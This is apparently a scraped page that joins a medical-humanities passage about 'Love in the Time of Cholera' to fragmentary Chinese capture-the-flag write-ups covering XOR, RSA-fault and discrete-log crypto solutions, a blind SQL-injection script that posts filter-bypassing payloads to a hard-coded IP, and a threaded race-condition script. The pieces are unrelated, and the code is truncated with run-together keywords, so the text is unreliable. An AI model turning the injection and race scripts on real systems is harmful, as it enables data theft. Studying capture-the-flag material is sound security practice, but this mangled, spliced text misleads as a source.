Arguably the greatest novel ever written about aging, Gabriel Garcia-Marquez Love in the Time of Cholera may be a challenging text for those who need to read it most: the young, the would-be rational, and the impatient. To say that many health care professionals fall into these categories is not to fault them but merely to describe them. Who being young can know what it is like to be old? Who trained in western scientific medicine dares not try to be rational? Flag is life is fantastic.And who caught up in the task-oriented imperative of contemporary medicine can truly claim the virtue of patience? Even before managed-care initiatives so greatly increased the pressure, physicians were famously time-driven, trained to seek efficiency in all things, care of patients prominently among them. To such persons, the thought of reading a novel may seem a profligate waste of time. Why spend hours reading about what never happened? This question has been eloquently answered over the years by those who use literature in medical education.
Flag is life is fantastic
flag{life_is_fantastic}
EasySteg
reverse一下
然后不知道怎么写了,有没有大神
CRYPTO
crypto-xor2
”轮环异或加密,你能解开么?格式:flag{}“
文件下载有一个py文件和一个文本文件
从描述可得知就是一个异或加密
1 2 3 4 5 6 7 8 9 10
from secret import flag
key = "xxxx"# not real key
cipher = "" for i, c inenumerate(flag): cipher += chr(ord(c) ^ ord(key[i%4]))
withopen("cipher", "w") as f: f.write(cipher)
先把cipher乱码打印出来,再比葫芦画瓢异或就行
1 2 3 4 5 6 7 8 9 10 11 12 13
key = "xxxx" f = open("cipher", "rb") for i in f: print(i) #b'\x1e\x14\x19\x1f\x03\x1e\x1b\x1b\x1aHNNMU\x1a\x1b\x1dMU\x1cKJAU\x19\x1b\x19OUAAIOA\x1a\x1c\x1bA\x1d\x1cK\x05'
flag = b'\x1e\x14\x19\x1f\x03\x1e\x1b\x1b\x1aHNNMU\x1a\x1b\x1dMU\x1cKJAU\x19\x1b\x19OUAAIOA\x1a\x1c\x1bA\x1d\x1cK\x05' cipher = "" for i, c inenumerate(flag): cipher += chr(c ^ ord(key[i % 4])) print(cipher) #flag{fccb0665-bce5-d329-aca7-99179bdc9ed3}
RSA Fault
题目基于RSA的CRT解密故障,正常流程下,RSA的CRT解密流程是:
计算mp = c^dp % p
计算mq = c^dq % q
CRT组合得到模n下的明文m
而在这一题目中也是按照这个流程进行解密的,只是解密时出现了一点故障,如下:
1 2 3 4 5 6
deffault_signature(m,dp,p): bits = list(range(dp.bit_length())) # Random Errors for i inrange(2): dp ^= 1 << bits.pop(randbelow(len(bits))) returnpow(m,dp,p)
if(0): temp = pow(m_,e,n)*inverse(c,n) % n is_positive = [(1,1),(1,-1),(-1,1),(-1,-1)] for i in trange(1,2**9): for j inrange(1,2**9): for k in is_positive: pow1 = k[0] * (1 << i) pow2 = k[1] * (1 << j)
p = 22729650064982784569842293886112765216527000770423090114368848726216608009470242046289112001066994207864986803275467348289746127450153723652496430471357120041795298501429299577023455880461653074271752126909063527106805373676824002441432786073264913608717964699805549233067291369590239167126966358735428766668880762276154481715084785307608648063807156963867353713246912838175911702373808989338864178007028831198106910117378309595596445705841624769259901086135441435201197082487810720560245568126972348046187117147996691190165006379956721543713979012391623875001928207563847027939516349080119621035628223197354404395029 q = n // p phi = (p-1)*(q-1) d = inverse(e,phi) print(long_to_bytes(pow(c,d,n)))
p = 100380180012669637378744942171261398091918624065560475592116442008723831000724625143134783707140522784290998397673597179788440926203643287774297527809892664834392514365222771089497090006645985087685142898313371176199974996077656302299931624478967894041880873282005346940525877863969908284953093553124147377177 g = 5 y = 96684738736980459903034929785324785968796025930893469779531286222406396988966715592949333235326832011076688325476630562163362584667393368651336925308324274452289994386658111183814813840211779123227496106401048680166365937882835154692663834966767665274167877263256747696012785293060701554746392300871850636481 factors = [3^2,56989,60217,538687139,560945999,571334087,610502371,631183649,632950873,635821279,650856469,655219333,656624429,681519161,718737731,731233123,733484177,763003931,789196883,819494821,819518603,844402217,857626969,895870279,907446997,908829937,950563309,972564941,1030070381,1048221233,1063554559] phi = prod(factors) h = (p-1) // phi
#part1 use Pohlig-hellman to get first-step m0(use sage) m0 = discrete_log(Mod(pow(y,h,p),p),Mod(pow(g,h,p),p),ord = phi)
#part2 guess the suffix is "}."" and padlen is 13 padlen = 13 suffix = bytes_to_long(b"}." + long_to_bytes(padlen)*padlen) length = padlen + 2 m1 = (m0-suffix)*inverse(256^length,phi) % phi
#part3 bsgs(use sage) y1 = y * pow(g,-(256^length*m1+suffix),p) % p g1 = pow(g,256^length*phi,p) k = discrete_log(Mod(y1,p),Mod(g1,p),ord = p-1,bounds = (0,2^(1024-860-length*8)))
#part4 get flag flag = 256^length*(k*phi+m1)+suffix print(long_to_bytes(flag))
#b'You are a master of the dlp algos! Here is your flag: flag{S0_Smooth_ord3r_pr1me_dlp!_pohlig_hellman_with_padding}.\r\r\r\r\r\r\r\r\r\r\r\r\r'
RE = re.compile(r'^([a-zA-Z0-9]*)<td>', re.MULTILINE)
deff(r): p = {} for c in r: if c in p: p[c] += 1 else: p[c] = 1 a = [ (v, k) for (k, v) in p.items() ] a = sorted(a) return''.join([ c[1] for c in a ])
s = requests.Session() r = s.get('http://120.79.191.238:42399')
whileTrue: print(r.text) m = re.search(RE, r.text) a = m.group(1) a = f(a)
r = s.post('http://120.79.191.238:42399', data={'ans': a})
defadd_ads(title): global aid payload = {'title': title, 'content': 'Elaina is best', 'ac': 'add'} r = requests.post('http://120.79.141.85:47930/addads.php', cookies=cookies, data=payload) aid += 1 assert'已发送申请'in r.text, title
defcheck_sql(sql): global aid if aid % 10 == 0: clear_list() add_ads('1') sql = sql.replace(' ', '/**/') add_ads(f"'||{sql}||'") requests.get(f'http://120.79.141.85:47930/index.php', cookies=cookies) r = requests.get(f'http://120.79.141.85:47930/detail.php', params={'id': str(aid)}, cookies=cookies) return'待管理确认'in r.text
clear_list() add_ads('1') r = requests.post('http://120.79.141.85:47930/index.php', cookies=cookies) aid = int(re.search(RE, r.text).group(1)) print(f'Initial ID: {aid}')
# # 可爆破出列数 # for i in range(1, 64): # s = ','.join(["''"] * i) # r = check_sql(f"(SELECT (SELECT {s})<(SELECT * FROM flag LIMIT 1))=true") # print(i, r)
content = '' for i inrange(len(content) + 1, 128): s = CharBinarySearch() whilenot s.is_done(): # r = check_sql(f"(SELECT HEX(SUBSTR(database(),{i},1))>=HEX({s.middle()}))")
p = content + chr(s.middle()) p = hex(int.from_bytes(p.encode(), 'big')) r = check_sql(f"(SELECT (SELECT * FROM flag) >= (SELECT 1, {p})) = 1") # r = check_sql(f"((SELECT HEX(SUBSTR(name,{i},1)) FROM users LIMIT 1 OFFSET 0)>=HEX({s.middle()}))")
if __name__ == "__main__": event = threading.Event() with requests.session() as session: for i inrange(1, 30): threading.Thread(target=write, args=(session,)).start() for i inrange(1, 30): threading.Thread(target=read, args=(session,)).start() event.set()